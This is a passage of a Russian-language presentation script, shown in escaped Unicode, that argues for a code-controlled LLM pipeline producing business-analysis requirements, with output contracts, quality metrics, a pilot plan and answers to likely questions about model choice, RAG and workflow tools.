\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435 \u0432\u044b\u0445\u043e\u0434 \u0448\u0430\u0433\u0430. \u041c\u0435\u0442\u0440\u0438\u043a\u0430 \u0434\u043e\u043b\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0448\u0430\u0433\u043e\u0432 \u043f\u0440\u0438\\n  \u044d\u0442\u043e\u043c \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u043b\u0430 1.0.\\n- \u041e\u0442\u0441\u044e\u0434\u0430 \u0432\u0435\u043a\u0442\u043e\u0440. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 runner \u043d\u0430 \u0410\u0420\u041c \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043b\u0438\u0434\u0435\u0440\u043e\u043c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430. \u0417\u0430\u0442\u0435\u043c\\n  \u0442\u043e \u0436\u0435 \u044f\u0434\u0440\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043a\u0430\u043a \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u2014 \u0421\u0440\u0435\u0434\u0430 4: \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439\\n  \u0430\u0432\u0442\u043e\u043c\u0430\u0442 \u043d\u0430 15 \u0443\u0437\u043b\u043e\u0432, \u0436\u0443\u0440\u043d\u0430\u043b \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432, \u0432\u044b\u0437\u043e\u0432 Mango AI \u043f\u043e\\n  OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u043c\u0443 API \u0438\u0437 \u043a\u043e\u0434\u0430.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 \u0430\u0433\u0435\u043d\u0442\u043d\u044b\u0439 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a:** \u0445\u043e\u0440\u043e\u0448\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430 \u0441 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\u043c\u0438 \u2014\\n\u044d\u0442\u043e workflow, \u0430 \u043d\u0435 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0439 \u0430\u0433\u0435\u043d\u0442. \u0422\u0430\u043a \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0438 Anthropic \u0432\\n[Building effective agents](https://www.anthropic.com/engineering/building-effective-agents),\\n\u0438 \u043f\u0440\u0438\u043d\u0446\u0438\u043f \u00abOwn your control flow\u00bb \u0438\u0437\\n[12-factor agents](https://github.com/humanlayer/12-factor-agents).\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u043b\u0438 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u0434\u043e\u043c, \u0447\u0442\u043e \u0434\u0430\u0451\u0442 \u044d\u0442\u043e\\n\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430?\u00bb\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 9. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f, \u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430: \u0435\u0433\u043e \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0431\u0435\u0441\u0448\u043e\u0432\u043d\u043e\u0439\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u0435\u0440\u0435\u0432\u0435\u0441\u0442\u0438 \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440 \u0441 \u00ab\u0418\u0418 \u043f\u0438\u0448\u0435\u0442 \u0422\u0417\u00bb \u043d\u0430\\n\u00ab\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438\u00bb.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0434\u0438\u043d \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432. \u041d\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f\\n  \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u043a\u0435\u0439\u0441\u044b, \u0430 \u043d\u0435 \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0430\\n  [860 \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u0445](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-kb-slot-fit-facts.md)\\n  \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439 \u043f\u044f\u0442\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: \u0432\u0441\u0435 \u043b\u0435\u0433\u043b\u0438 \u0432 14 \u0441\u043b\u043e\u0442\u043e\u0432, \u043d\u043e\u0432\u044b\u0439 \u043d\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u043b\u0441\u044f.\\n- \u0421\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b,\\n  \u0433\u0434\u0435 \u0443 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0435\u0441\u0442\u044c \u0441\u043b\u0435\u0434 \u0434\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430. \u041f\u0435\u0440\u0435\u0434\u0430\u0447\u0430 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u0451\u0442 \u0431\u044b\u0442\u044c\\n  \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u043e\u043c.\\n- \u041a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442\u0441\u044f\\n  [\u043f\u044f\u0442\u044c\u044e \u043c\u0435\u0442\u0440\u0438\u043a\u0430\u043c\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md):\\n  \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b, \u0434\u043e\u043b\u044f \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430, \u043f\u0440\u0430\u0432\u043a\u0438\\n  \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u043f\u043e\u0441\u043b\u0435 \u043c\u0430\u0448\u0438\u043d\u044b, \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430, \u0434\u043e\u043b\u044f \u043f\u0443\u0441\u0442\u044b\u0445 \u0441\u043b\u043e\u0442\u043e\u0432 \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439.\\n- \u041f\u0440\u0430\u0432\u0438\u043b\u043e \u0447\u0435\u0441\u0442\u043d\u043e\u0441\u0442\u0438: \u0435\u0441\u043b\u0438 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043e\u0442\u043a\u043b\u043e\u043d\u044f\u0435\u0442, \u043e\u043d \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435\\n  \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442. \u041d\u0443\u043b\u0435\u0432\u043e\u0439 `M-2` \u2014 \u0441\u0438\u0433\u043d\u0430\u043b \u0442\u0440\u0435\u0432\u043e\u0433\u0438, \u0430 \u043d\u0435 \u0443\u0441\u043f\u0435\u0445.\\n- \u041e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u043d\u0435 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f: \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435, \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u043e\u0435 \u0432 \u0440\u0430\u0431\u043e\u0442\u0435,\\n  \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 Source \u0441 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u0438 \u0434\u043e\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0432\u0441\u0435\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0447\u0435\u0440\u0435\u0437\\n  \u043f\u0435\u0440\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044e.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e \u043c\u044b \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0434\u0430\u043b\u044c\u0448\u0435\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 10. \u041e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4 \u2014 \u0442\u0440\u0438 \u0448\u0430\u0433\u0430, \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d \u0434\u043e \u0441\u0442\u0430\u0440\u0442\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0437\u0430\u043a\u043e\u043d\u0447\u0438\u0442\u044c \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u0438 \u0437\u0430\u0440\u0430\u043d\u0435\u0435\\n\u0437\u0430\u0434\u0430\u043d\u043d\u044b\u043c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0435\u043c \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0428\u0430\u0433 1 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b. Runner \u043d\u0430 \u0410\u0420\u041c \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0441\u0430\u043c\\n  \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0432\u044b\u0445\u043e\u0434 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430 \u0438 \u0443\u043c\u0435\u0442\u044c \u0436\u0434\u0430\u0442\u044c \u043e\u0442\u0432\u0435\u0442\u0430\\n  \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430. \u0417\u0430\u0434\u0430\u0447\u0438 \u0443\u0436\u0435 \u0432\\n  [\u0431\u044d\u043a\u043b\u043e\u0433\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog.md):\\n  B-211\u2026B-213.\\n- \u0428\u0430\u0433 2 \u2014 \u0437\u0430\u043c\u0435\u0440 \u043d\u0430 10 \u0437\u0430\u0434\u0430\u0447\u0430\u0445. \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u043f\u0438\u0441\u0430\u043d \u0434\u043e \u0441\u0442\u0430\u0440\u0442\u0430:\\n  \u043c\u0435\u043d\u044c\u0448\u0435 95% \u0448\u0430\u0433\u043e\u0432 \u0441 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u0443\u0437\u043b\u0430 \u0438\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430\\n  \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u2014 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u043f\u0435\u0440\u0435\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f.\\n- \u0428\u0430\u0433 3 \u2014 \u0421\u0440\u0435\u0434\u0430 4. \u0417\u0434\u0435\u0441\u044c \u043d\u0443\u0436\u043d\u044b \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0441 \u0432\u0430\u0448\u0435\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u044b: \u0432\u044b\u0437\u043e\u0432 Mango AI \u043f\u043e\\n  API \u0438\u0437 \u043a\u043e\u0434\u0430 \u0438 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0430 \u0434\u043b\u044f \u0441\u043b\u0443\u0436\u0431\u044b.\\n- \u0427\u0435\u0433\u043e \u043c\u044b \u043d\u0435 \u0434\u0435\u043b\u0430\u0435\u043c: \u043d\u0435 \u0441\u0442\u0440\u043e\u0438\u043c \u044f\u0434\u0440\u043e \u043d\u0430 low-code \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u0445 \u0438 \u043d\u0435 \u043e\u0442\u0434\u0430\u0451\u043c\\n  \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0430\u0433\u0435\u043d\u0442\u0443.\\n\\n**\u0417\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0435:** \u00ab\u041c\u044b \u043f\u0440\u043e\u0441\u0438\u043c \u043d\u0435 \u0431\u044e\u0434\u0436\u0435\u0442 \u043d\u0430 \u0418\u0418-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0430 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0443 \u0434\u043b\u044f\\n\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u043e\u0439 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b. \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439, \u043f\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043c\u044b \u043f\u0440\u0438\u0437\u043d\u0430\u0435\u043c \u0435\u0451\\n\u043e\u0448\u0438\u0431\u043e\u0447\u043d\u043e\u0439, \u0443\u0436\u0435 \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u00bb.\\n\\n---\\n\\n## \u041e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u044b\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b\\n\\n### \u00ab\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 \u0432\u0437\u044f\u0442\u044c \u043c\u043e\u0434\u0435\u043b\u044c \u043c\u043e\u0449\u043d\u0435\u0435?\u00bb\\n\\n\u041c\u043e\u0434\u0435\u043b\u044c \u043c\u0435\u043d\u044f\u0435\u0442 \u0447\u0430\u0441\u0442\u043e\u0442\u0443 \u043e\u0448\u0438\u0431\u043e\u043a, \u043d\u043e \u043d\u0435 \u0438\u0445 \u043a\u043b\u0430\u0441\u0441. \u0412\\n[A/B-\u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/report/2026-09-01-run-0065-vs-0066-ab-rca.md)\\n\u043d\u0430 \u043e\u0434\u043d\u0438\u0445 \u0438 \u0442\u0435\u0445 \u0436\u0435 65 \u0441\u0442\u0440\u043e\u043a\u0430\u0445 \u043e\u0434\u043d\u0430 \u043c\u043e\u0434\u0435\u043b\u044c \u0434\u0430\u043b\u0430 43.1% \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445\\n\u043d\u043e\u043c\u0435\u0440\u043e\u0432 \u0441\u0442\u0440\u0430\u043d\u0438\u0446, \u0434\u0440\u0443\u0433\u0430\u044f \u2014 0%. \u041d\u043e \u043a\u043e\u0440\u043d\u0435\u0432\u0430\u044f \u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u0431\u044b\u043b\u0430 \u043d\u0435 \u0432 \u043c\u043e\u0434\u0435\u043b\u0438: \u043d\u043e\u043c\u0435\u0440\u0430\\n\u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0441\u044c \u0432 \u0440\u0443\u0447\u043d\u043e\u0439 \u0442\u0430\u0431\u043b\u0438\u0446\u0435, \u0430 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u0444\u043e\u0440\u043c\u0430\u0442 \u0441\u0441\u044b\u043b\u043a\u0438, \u0430 \u043d\u0435\\n\u0435\u0451 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435. \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u0442\u043e\u0433\u043e,\\n\u043a\u0430\u043a\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c \u0441\u0442\u043e\u0438\u0442 \u0437\u0430 \u0448\u0430\u0433\u043e\u043c. \u0422\u043e\u0433\u0434\u0430 \u0441\u043c\u0435\u043d\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 \u2014 \u0432\u043e\u043f\u0440\u043e\u0441 \u0446\u0435\u043d\u044b \u0438 \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u0438, \u0430\\n\u043d\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439.\\n\\n### \u00ab\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 RAG \u0438\u043b\u0438 fine-tuning?\u00bb\\n\\nRAG \u0440\u0435\u0448\u0430\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0437\u043d\u0430\u043d\u0438\u044f\u043c, \u0438 \u043e\u043d \u0432 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0435 \u0435\u0441\u0442\u044c \u2014 \u044d\u0442\u043e \u0448\u0430\u0433 \u0441\u0432\u0435\u0440\u043a\u0438. \u041d\u043e \u0438\u0437\\n\u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0434\u0438\u043d \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438. \u041f\u043e\u0434\u043c\u0435\u043d\u0430 \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0438\\n\u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435\u043c \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f, \u043f\u043e\u0442\u0435\u0440\u044f \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438\\n\u0438 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0431\u0435\u0437 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u2014 \u043d\u0435 \u043f\u0440\u043e \u043f\u043e\u0438\u0441\u043a. \u0414\u043b\u044f fine-tuning \u043d\u0443\u0436\u0435\u043d \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440, \u0430 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 17\\n\u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\u043c\u0438: \u0447\u0438\u0441\u0442\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u0446\u043e\u0432 \u043d\u0435\u0442, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u043e\u043b\u043e\u0442\u043e\u0439 \u043d\u0430\u0431\u043e\u0440 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f\\n\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442, \u043f\u043e\u0442\u043e\u043c \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 \u043d\u0430 \u043d\u0451\u043c.\\n\\n### \u00ab\u0427\u0435\u043c \u044d\u0442\u043e \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 LangGraph, n8n, Dify?\u00bb\\n\\n\u041c\u044b [\u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md).\\nDify, Flowise, Temporal \u0438 Camunda \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u044b \u043a\u0430\u043a \u044f\u0434\u0440\u043e. n8n \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c \u0442\u043e\u043b\u044c\u043a\u043e\\n\u043a\u0430\u043a \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430: \u0433\u0440\u0430\u0444 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u0431\u044b \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u044b\u0432\u0430\u0442\u044c, \u0443\u0437\u0435\u043b AI Agent\\n\u043d\u0435\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d, \u0430 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0443 n8n \u0431\u044b\u043b\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\\nCVE-2026-21858 \u0441 CVSS 10.0. LangGraph \u043f\u043e\u0434 \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0435\u0439 MIT \u2014 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442 \u043d\u0430 \u0431\u043e\u043b\u0435\u0435\\n\u043f\u043e\u0437\u0434\u043d\u0438\u0439 \u044d\u0442\u0430\u043f \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b, \u043d\u043e \u043d\u0435 \u0441\u0435\u0439\u0447\u0430\u0441: \u043d\u0430\u0448 \u0433\u0440\u0430\u0444 \u0438\u0437 15 \u0443\u0437\u043b\u043e\u0432 \u043f\u0440\u043e\u0449\u0435\\n\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0432 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u043c \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0435.\\n\\n### \u00ab\u041d\u0435 \u0441\u0442\u0430\u043d\u0435\u0442 \u043b\u0438 fail-closed \u0442\u043e\u0440\u043c\u043e\u0437\u043e\u043c \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430?\u00bb\\n\\n\u041e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u2014 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430, \u0430 \u043d\u0435 \u0430\u0432\u0430\u0440\u0438\u044f: \u0448\u0430\u0433 \u0437\u0430\u0434\u0430\u0451\u0442 \u0432\u043e\u043f\u0440\u043e\u0441, \u0430\\n\u043d\u0435 \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u0435\u0442. \u0427\u0442\u043e\u0431\u044b \u044d\u0442\u043e \u043d\u0435 \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u043b\u043e\u0441\u044c \u0432 \u0431\u044e\u0440\u043e\u043a\u0440\u0430\u0442\u0438\u044e, \u0432 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439\\n\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u043f\u0440\u044f\u043c\u043e \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u043e: \u0435\u0441\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435\\n\u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435, \u0440\u0435\u0448\u0435\u043d\u0438\u0435 